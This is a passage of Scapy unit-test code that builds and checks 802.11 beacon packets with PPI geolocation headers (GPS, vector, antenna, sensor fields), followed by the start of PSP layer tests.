Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.4") return PPI(raw(pkt)) #Cause the fields to be built def Pkt_10_5(): """Similar to 10_3, but with a electronically steerable antenna""" pkt = PPI(headers=[ PPI_Hdr()/PPI_Geotag_GPS(GPSFlags=0x02, Latitude=40.787743, Longitude=-73.971210), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x03, VectorChars=0x06, Pitch=00.0, Heading=22.5, DescString="VehicleVec"), PPI_Hdr()/PPI_Geotag_Vector( VectorChars=0x01, Heading=120.0, DescString="AntennaVec"), PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x010002,Gain=12,HorizBw=60,BeamID=0xF1A1, ModelName="ElectronicallySteerableExAntenna", AppId=0x04030201), PPI_Hdr()/PPI_Dot11Common(Antsignal=-75,Antnoise=-110,Ch_Freq=2437)])/\ Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:05")/\ Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.5") return PPI(raw(pkt)) #Cause the fields to be built def Pkt_10_6(): """Mechanically steerable antenna. Non-intuitive forward""" pkt = PPI(headers=[ PPI_Hdr()/PPI_Geotag_GPS(GPSFlags=0x02, Latitude=40.787743, Longitude=-73.971210), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars=0x06, Heading=22.5, DescString="VehicleVec"), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x03, VectorChars=0x00, Heading=202.5, DescString="ForwardVec"), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x00, VectorChars=0x01, Heading=75.0, DescString="AntennaVec"), PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x020002,Gain=12,HorizBw=60,ModelName="MechanicallySteerableAnt"), PPI_Hdr()/PPI_Dot11Common(Antsignal=-77,Antnoise=-110,Ch_Freq=2437)])/\ Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:06")/\ Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.6") return PPI(raw(pkt)) #Cause the fields to be built def Pkt_10_7(): """Drifting boat.""" pkt = PPI(headers=[ PPI_Hdr()/PPI_Geotag_GPS(GPSFlags=0x02, Latitude= 41.876154, Longitude=-87.608602), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x03, VectorChars=0x04, Heading=50.0, DescString="VehicleVec"), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x00, VectorChars=0x02, Heading=230.0, DescString="DOT-Vec"), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x00, VectorChars=0x01, Heading=90.0, DescString="AntennaVec"), PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x02,Gain=9,HorizBw=120,ModelName="SA24-120-9"), PPI_Hdr()/PPI_Dot11Common(Antsignal=-77,Antnoise=-110,Ch_Freq=2437)])/\ Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:07")/\ Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.7") return PPI(raw(pkt)) #Cause the fields to be built def Pkt_10_8(): """Time of arrival analysis""" pkt = PPI(headers=[ PPI_Hdr()/PPI_Geotag_GPS(GPSFlags="Manual Input", Latitude=41.861885, Longitude=-87.616926, GPSTime=1288720719, FractionalTime=0.20), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars=0x01, Pitch=90.0, DescString="Antenna-1 orientation"), PPI_Hdr()/PPI_Geotag_Sensor(SensorType="TDOA_Clock", ScaleFactor=-9, Val_T=60.8754, AppId=0x04030201), PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x01,Gain=5,HorizBw=360.0,ModelName="8dBi-Omni", DescString="Signal 1"), PPI_Hdr()/PPI_Dot11Common(Antsignal=-60), PPI_Hdr()/PPI_Geotag_GPS(GPSFlags="Manual Input", Latitude=41.861904, Longitude=-87.616365, GPSTime=1288720719, FractionalTime=0.20), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars=0x01, Pitch=90.0, DescString="Antenna-2 orientation"), PPI_Hdr()/PPI_Geotag_Sensor(SensorType="TDOA_Clock", ScaleFactor=-9, Val_T=178.124, AppId=0x04030201), PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x01,Gain=5,HorizBw=360.0,ModelName="8dBi-Omni", DescString="Signal 2"), PPI_Hdr()/PPI_Dot11Common(Antsignal=-80)])/\ Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:08")/\ Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.8") return PPI(raw(pkt)) #Cause the fields to be built def Pkt_10_9(): """Time of arrival analysis(AOA)""" pkt = PPI(headers=[ PPI_Hdr()/PPI_Geotag_GPS(GPSFlags="Manual Input", Latitude=41.861904, Longitude=-87.616365, GPSTime=1288720719, FractionalTime=0.20), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars=0x01, Pitch=90.0, DescString="Antenna-2 orientation"), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars=0x08, Heading=323.4, Err_Rot=10.0, DescString="AOA at Antenna-2", AppId=0x04030201), PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x01,Gain=5,HorizBw=360.0,ModelName="8dBi-Omni", DescString="Signal 2"), PPI_Hdr()/PPI_Dot11Common(Antsignal=-80)])/\ Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:098")/\ Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.9") return PPI(raw(pkt)) #Cause the fields to be built def Pkt_10_10(): """Transmitter Position/AOA example""" pkt = PPI(headers=[ PPI_Hdr()/PPI_Geotag_GPS(GPSFlags="Manual Input", Latitude=41.861904, Longitude=-87.616365, GPSTime=1288720719, FractionalTime=0.20), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x02, VectorChars=0x01, Pitch=90.0, DescString="Antenna-2 orientation"), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x03, VectorChars=0x08, Heading=323.4, Err_Rot=10.0, DescString="AOA at Antenna-2", AppId=0x04030201), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags=0x00, VectorChars=0x10, Off_Y=40, Err_Off=2.0, DescString="Transmitter Position", AppId=0x4030201), PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x01,Gain=5,HorizBw=360.0,ModelName="8dBi-Omni", DescString="Signal 2"), PPI_Hdr()/PPI_Dot11Common(Antsignal=-80)])/\ Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:0A")/\ Dot11Beacon()/Dot11Elt(ID=0,info="Test-10.10") return PPI(raw(pkt)) #Cause the fields to be built def TestPackets(): """Returns a list of test packets""" return [ ("10.1", Pkt_10_1(), test_Pkt_10_1), ("10.2", Pkt_10_2(), test_Pkt_10_2), ("10.3", Pkt_10_3(), test_Pkt_10_3), ("10.4", Pkt_10_4(), test_Pkt_10_4), ("10.5", Pkt_10_5(), test_Pkt_10_5), ("10.6", Pkt_10_6(), test_Pkt_10_6), ("10.7", Pkt_10_7(), test_Pkt_10_7), ("10.8", Pkt_10_8(), test_Pkt_10_8), ("10.9", Pkt_10_9(), test_Pkt_10_9), ("10.10", Pkt_10_10(), test_Pkt_10_10) ] = Pkt_10_1 a = Pkt_10_1() raw(a) assert raw(a) == b'\x00\x00\x1c\x00i\x00\x00\x002u\x10\x00\x02\x00\x10\x00\x06\x00\x00\x006\x89\x99\x83\x9c\xb52?\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.1' assert a.headers[0].present == 6 assert a.headers[0].Latitude == 40.7877430 assert a[Dot11Beacon].beacon_interval == 100 assert a[Dot11Elt].info == b'Test-10.1' = Pkt_10_2 a = Pkt_10_2() a.show() assert raw(a) == b'\x00\x00\xa9\x00i\x00\x00\x002u\x10\x00\x02\x00\x10\x00\x06\x00\x00\x006\x89\x99\x83\x9c\xb52?3u<\x00\x02\x00<\x00\x1f\x00\x00\x10\x02\x00\x00\x00\x01\x00\x00\x00\x80J]\x05\x00\x00\x00\x00\x00\x00\x00\x00Antenna-1 orientation\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005u1\x00\x02\x001\x00\x07\x00\x00\x08\x02\x00\x00\x00\x08\x00*u\x158dBi-MagMountOmni\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xb0\x92\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.2' assert isinstance(a.headers[0].payload, PPI_Geotag_GPS) assert a.headers[0].present == 6 assert isinstance(a.headers[1].payload, PPI_Geotag_Vector) assert a.headers[2].present == 134217735 assert isinstance(a.headers[2].payload, PPI_Geotag_Antenna) assert a.headers[2].HorizBw == 360.0 assert isinstance(a.headers[3].payload, PPI_Dot11Common) = Pkt_10_3 a = Pkt_10_3() assert raw(a) == b"\x00\x00\xef\x00i\x00\x00\x002u\x14\x00\x02\x00\x14\x00\x07\x00\x00\x00\x02\x00\x00\x006\x89\x99\x83\x9c\xb52?3u8\x00\x02\x008\x00\x17\x00\x00\x10\x03\x00\x00\x00\x06\x00\x00\x00\x80\x96\x98\x00\xa0RW\x01VehicleVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x004u\x0e\x00\x02\x00\x0e\x00!\x00\x00\x00\x01\x00@\xdfLk3u0\x00\x02\x000\x00\x12\x00\x00\x10\x01\x00\x00\x00\x80J]\x05AntennaVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005u1\x00\x02\x001\x00\x07\x00\x00\x08\x02\x00\x00\x00\t\x00\x0e'\x07SA24-120-9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xb5\x92\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.3" = Pkt_10_4 a = Pkt_10_4() assert raw(a) == b"\x00\x00\xc6\x01i\x00\x00\x002u\x18\x00\x02\x00\x18\x00\x17\x00\x00\x00\x02\x00\x00\x006\x89\x99\x83\x9c\xb52? Jk3u\x18\x00\x02\x00\x18\x00\x17\x00\x00\x00\x03\x00\x00\x00\x06\x00\x00\x00\x80\x96\x98\x00\xa0RW\x014u\x0e\x00\x02\x00\x0e\x00!\x00\x00\x00\x01\x00\x08\x1eKk4u\x0e\x00\x02\x00\x0e\x00!\x00\x00\x00\x02\x00\x88\xe5Ik3u@\x00\x02\x00@\x00\xf3\x00\x00\x10\x00\x00\x00\x00\x01\x00\x00\x00\x80J]\x05L\xefIkp\xe9Ik0\xcaIkAntenna1Vec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005uQ\x00\x02\x00Q\x00\x07\x00\x00\x18\x02\x00\x00\x00\t\x00\x0e'\x07SA24-120-9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00RightAntenna\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xb5\x923u@\x00\x02\x00@\x00\xf3\x00\x00\x10\x00\x00\x00\x00\x01\x00\x00\x00\x80\xdf\x17\x10\xb4\xb4Ikp\xe9Ik0\xcaIkAntenna2Vec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005uQ\x00\x02\x00Q\x00\x07\x00\x00\x18\x02\x00\x00\x00\t\x00\x0e'\x07SA24-120-9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LeftAntenna\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xa1\x92\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.4" = Pkt_10_5 a = Pkt_10_5() a.show() assert isinstance(a, PPI) assert raw(a) == b"\x00\x00\xe3\x00i\x00\x00\x002u\x14\x00\x02\x00\x14\x00\x07\x00\x00\x00\x02\x00\x00\x006\x89\x99\x83\x9c\xb52?3u8\x00\x02\x008\x00\x17\x00\x00\x10\x03\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\xa0RW\x01VehicleVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u0\x00\x02\x000\x00\x12\x00\x00\x10\x01\x00\x00\x00\x00\x0e'\x07AntennaVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005u7\x00\x02\x007\x00'\x00\x00(\x02\x00\x01\x00\x0c\x00\x87\x93\x03\xa1\xf1ElectronicallySteerableExAntenna\x01\x02\x03\x04\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xb5\x92\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.5" = Pkt_10_6 a = Pkt_10_6() assert raw(a) == b'\x00\x00\x15\x01i\x00\x00\x002u\x14\x00\x02\x00\x14\x00\x07\x00\x00\x00\x02\x00\x00\x006\x89\x99\x83\x9c\xb52?3u4\x00\x02\x004\x00\x13\x00\x00\x10\x02\x00\x00\x00\x06\x00\x00\x00\xa0RW\x01VehicleVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u4\x00\x02\x004\x00\x13\x00\x00\x10\x03\x00\x00\x00\x00\x00\x00\x00\xa0\xe7\x11\x0cForwardVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u4\x00\x02\x004\x00\x13\x00\x00\x10\x00\x00\x00\x00\x01\x00\x00\x00\xc0hx\x04AntennaVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005u1\x00\x02\x001\x00\x07\x00\x00\x08\x02\x00\x02\x00\x0c\x00\x87\x93\x03MechanicallySteerableAnt\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xb3\x92\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.6' = Pkt_10_7 a = Pkt_10_7() assert raw(a) == b"\x00\x00\x15\x01i\x00\x00\x002u\x14\x00\x02\x00\x14\x00\x07\x00\x00\x00\x02\x00\x00\x00D\x9d?\x84\xfc\xce\x1173u4\x00\x02\x004\x00\x13\x00\x00\x10\x03\x00\x00\x00\x04\x00\x00\x00\x80\xf0\xfa\x02VehicleVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u4\x00\x02\x004\x00\x13\x00\x00\x10\x00\x00\x00\x00\x02\x00\x00\x00\x80\x85\xb5\rDOT-Vec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u4\x00\x02\x004\x00\x13\x00\x00\x10\x00\x00\x00\x00\x01\x00\x00\x00\x80J]\x05AntennaVec\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005u1\x00\x02\x001\x00\x07\x00\x00\x08\x02\x00\x00\x00\t\x00\x0e'\x07SA24-120-9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x85\t\x00\x00\x00\x00\xb3\x92\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.7" assert a.headers[5].Antnoise == -110 assert isinstance(a[Dot11].payload, Dot11Beacon) = Pkt_10_8 a = Pkt_10_8() a.show() assert raw(a) == b'\x00\x00\xc0\x01i\x00\x00\x002u\x1c\x00\x02\x00\x1c\x00g\x00\x00\x00\x80\x00\x00\x00\xe2o=\x84\xd4\x89\x107L\xd0QO\x00\xc2\xeb\x0b3u4\x00\x02\x004\x00\x07\x00\x00\x10\x02\x00\x00\x00\x01\x00\x00\x00\x80J]\x05Antenna-1 orientation\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x004u\x13\x00\x02\x00\x13\x00#\x00\x00 \xd0\x07\xf7\xf2\x1bSk\x01\x02\x03\x045uQ\x00\x02\x00Q\x00\x07\x00\x00\x18\x01\x00\x00\x00\x05\x00*u\x158dBi-Omni\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Signal 1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc4\x802u\x1c\x00\x02\x00\x1c\x00g\x00\x00\x00\x80\x00\x00\x00\xa0p=\x84\xbe\x9f\x107L\xd0QO\x00\xc2\xeb\x0b3u4\x00\x02\x004\x00\x07\x00\x00\x10\x02\x00\x00\x00\x01\x00\x00\x00\x80J]\x05Antenna-2 orientation\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x004u\x13\x00\x02\x00\x13\x00#\x00\x00 \xd0\x07\xf7\xf8\xffdk\x01\x02\x03\x045uQ\x00\x02\x00Q\x00\x07\x00\x00\x18\x01\x00\x00\x00\x05\x00*u\x158dBi-Omni\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Signal 2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x80\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.8' assert isinstance(a.headers[7].payload, PPI_Geotag_Sensor) assert a.headers[7].ScaleFactor == -9 assert a.headers[7].pfh_length == 19 = Pkt_10_9 a = Pkt_10_9() assert raw(a) == b'\x00\x00\r\x01i\x00\x00\x002u\x1c\x00\x02\x00\x1c\x00g\x00\x00\x00\x80\x00\x00\x00\xa0p=\x84\xbe\x9f\x107L\xd0QO\x00\xc2\xeb\x0b3u4\x00\x02\x004\x00\x07\x00\x00\x10\x02\x00\x00\x00\x01\x00\x00\x00\x80J]\x05Antenna-2 orientation\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u<\x00\x02\x00<\x00\x13\x00\x010\x02\x00\x00\x00\x08\x00\x00\x00@\xb1F\x13\x80\x96\x98\x00AOA at Antenna-2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x045uQ\x00\x02\x00Q\x00\x07\x00\x00\x18\x01\x00\x00\x00\x05\x00*u\x158dBi-Omni\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Signal 2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x80\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\x98\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\tTest-10.9' assert a.headers[2].DescString == b'AOA at Antenna-2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = Pkt_10_10 a = Pkt_10_10() assert raw(a) == b'\x00\x00M\x01i\x00\x00\x002u\x1c\x00\x02\x00\x1c\x00g\x00\x00\x00\x80\x00\x00\x00\xa0p=\x84\xbe\x9f\x107L\xd0QO\x00\xc2\xeb\x0b3u4\x00\x02\x004\x00\x07\x00\x00\x10\x02\x00\x00\x00\x01\x00\x00\x00\x80J]\x05Antenna-2 orientation\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003u<\x00\x02\x00<\x00\x13\x00\x010\x03\x00\x00\x00\x08\x00\x00\x00@\xb1F\x13\x80\x96\x98\x00AOA at Antenna-2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x043u<\x00\x02\x00<\x00C\x00\x020\x00\x00\x00\x00\x10\x00\x00\x00\x80\xecOk JkTransmitter Position\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x045uQ\x00\x02\x00Q\x00\x07\x00\x00\x18\x01\x00\x00\x00\x05\x00*u\x158dBi-Omni\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Signal 2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x80\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x01\x02\x03\x04\x05\x00\x01\x02\t\x01\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\nTest-10.10' assert a.headers[0].GPSTime == 1288720719 assert a.headers[4].ModelName == b'8dBi-Omni\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' assert isinstance(a.headers[3].payload, PPI_Geotag_Vector) assert a.headers[3].pfh_type == 30003 assert a.headers[3].Off_Y == 40.0 assert a.headers[3].Err_Off == 2.0 = All-in-one packet # Extracted from PPI_GEOLOCATION_SDK.zip\PPI_GEOLOCATION_SDK\pcaps\reference-pcaps\all-ppi-geo-fields.py a = hex_bytes(b'00008a02690000003275900002029000ff03007002000000368999839cb5323fa0584b6b406e4a6b4f51d04cffffffff40420f0080841e00005ed0b2416c6c4669656c64734750535061636b6574000000000000000000000000000004030201414243442e2e2e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003375900002029000ff000370ff0000000800000080969800002d3101e09da30110f9496b20204a6b0055496b80c3c90128604d6b46756c6c7946696c6c65644f7574566563746f720000000000000000000000000403020141424344000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034757f0002027f007f0000700100ff4014596b8056686bc098776b00db866b50954a6b4d616465557056656c6f63697479730000000000000000000000000000000000010203044142434400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003575bb000102bb003f00007c0200000009000e2707002d310160f59000b2a13030303030310000000000000000000000000000000000000000000000000000534132342d3132302d39000000000000000000000000000000000000000000004c656674416e74656e6e610000000000000000000000000000000000000000000102030441424344000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002001400000000000000000000000000850900000000a19280000000ffffffffffff0001020304050001020901040000000000000000000064000000000b546573742d53656e736f72') pkt = PPI(a) assert isinstance(pkt.headers[0].payload, PPI_Geotag_GPS) assert pkt.headers[0].present == 1879049215 assert isinstance(pkt.headers[1].payload, PPI_Geotag_Vector) assert pkt.headers[1].present == 1879245055 assert isinstance(pkt.headers[3].payload, PPI_Geotag_Antenna) assert repr(pkt.headers[3].present) == "" assert isinstance(pkt.headers[4].payload, PPI_Dot11Common) assert isinstance(pkt[Dot11][Dot11Beacon].payload, Dot11Elt) assert pkt[Dot11Elt].info == b'Test-Sensor' assert pkt[Dot11Elt].ID == 0 = All-wrong-data packet pkt = PPI(headers=[ PPI_Hdr()/PPI_Geotag_GPS(GPSFlags="Manual Input", Latitude=-181, Longitude=181, GPSTime=1288720719, FractionalTime=-1, ept=100, eph=-1, epv=1000, Altitude=-999999, Altitude_g=999999), PPI_Hdr()/PPI_Geotag_Vector(VectorFlags="DefinesForward+RelativeToEarth", VectorChars=0x08, Heading=323.4, Err_Rot=10.0, DescString="AOA at Antenna-2", AppId=0x04030201), PPI_Hdr()/PPI_Geotag_Antenna(AntennaFlags=0x01,Gain=5,HorizBw=360.0,ModelName="8dBi-Omni", DescString="Signal 2"), PPI_Hdr()/PPI_Dot11Common(Antsignal=-80)])/\ Dot11(addr1="FF:FF:FF:FF:FF:FF",addr2="00:01:02:03:04:05",addr3="00:01:02:09:01:0A")/\ Dot11Beacon()/Dot11Elt(ID=0,info="Test-allwrong") pkt = PPI(raw(pkt)) pkt.show() assert pkt.headers[0].Latitude == -180.0 assert pkt.headers[0].Longitude == 180.0 assert pkt.headers[0].Altitude == -180000.0 assert pkt.headers[0].Altitude_g == 180000.0 assert pkt.headers[0].epv < 1000 assert pkt.headers[0].ept < 5 assert pkt.headers[0].FractionalTime == 0.0 ================================================ FILE: test/contrib/ppi_geotag.uts ================================================ # PPI_Geotag tests ############ ############ + PPI Geotags tests = Import PPI Geotag from scapy.contrib.ppi_geotag import * = Test GPS dissection assert raw(PPI_Hdr()/PPI_Geotag_GPS()) == b'2u\x08\x00\x02\x00\x08\x00\x00\x00\x00\x00' = Test Vector dissection assert raw(PPI_Hdr()/PPI_Geotag_Vector()) == b'3u\x08\x00\x02\x00\x08\x00\x00\x00\x00\x00' = Test Sensor dissection assert raw(PPI_Hdr()/PPI_Geotag_Sensor()) == b'4u\x08\x00\x02\x00\x08\x00\x00\x00\x00\x00' = Test Antenna dissection assert raw(PPI_Hdr()/PPI_Geotag_Antenna()) == b'5u\x08\x00\x02\x00\x08\x00\x00\x00\x00\x00' = Test GPSTime_Field time handling assert GPSTime_Field("GPSTime", None).delta == 0.0 ================================================ FILE: test/contrib/psp.uts ================================================ # PSP unit tests # run with: # test/run_tests -P "load_contrib('psp')" -t test/contrib/psp.uts -F % Regression tests for the PSP layer ############### ##### PSP ##### ############### + PSP tests = PSP layer example_plain_packet = import_hexcap('''\ 0000 04 01 05 01 11 22 33 44 01 02 03 04 05 06 07 08 ....."3D........ 0010 45 00 00 25 00 01 00 00 40 11 7C C5 7F 00 00 01 E..%....@.|..... 0020 7F 00 00 01 04 D2 16 2E 00 11 A0 C4 41 41 41 41 ............AAAA 0030 41 41 41 41 41 AAAAA ''') psp_packet = PSP(example_plain_packet) assert psp_packet.nexthdr == 4 assert psp_packet.hdrextlen == 1 assert psp_packet.cryptoffset == 5 assert psp_packet.version == 0 assert psp_packet.spi == 0x11223344 assert psp_packet.iv == b'\x01\x02\x03\x04\x05\x06\x07\x08' payload = IP(psp_packet.data) assert payload[UDP].sport == 1234 assert payload[UDP].dport == 5678 assert bytes(payload[Raw]) == b"A" * 9 = PSP Usage Example payload = IP() / UDP(sport=1234, dport=5678) / Raw("A" * 9) iv = b'\x01\x02\x03\x04\x05\x06\x07\x08' spi = 0x11223344 key = b'\xFF\xEE\xDD\xCC\xBB\xAA\x99\x88\x77\x66\x55\x44\x33\x22\x11\x00' psp_packet = PSP(nexthdr=4, cryptoffset=5, spi=spi, iv=iv, 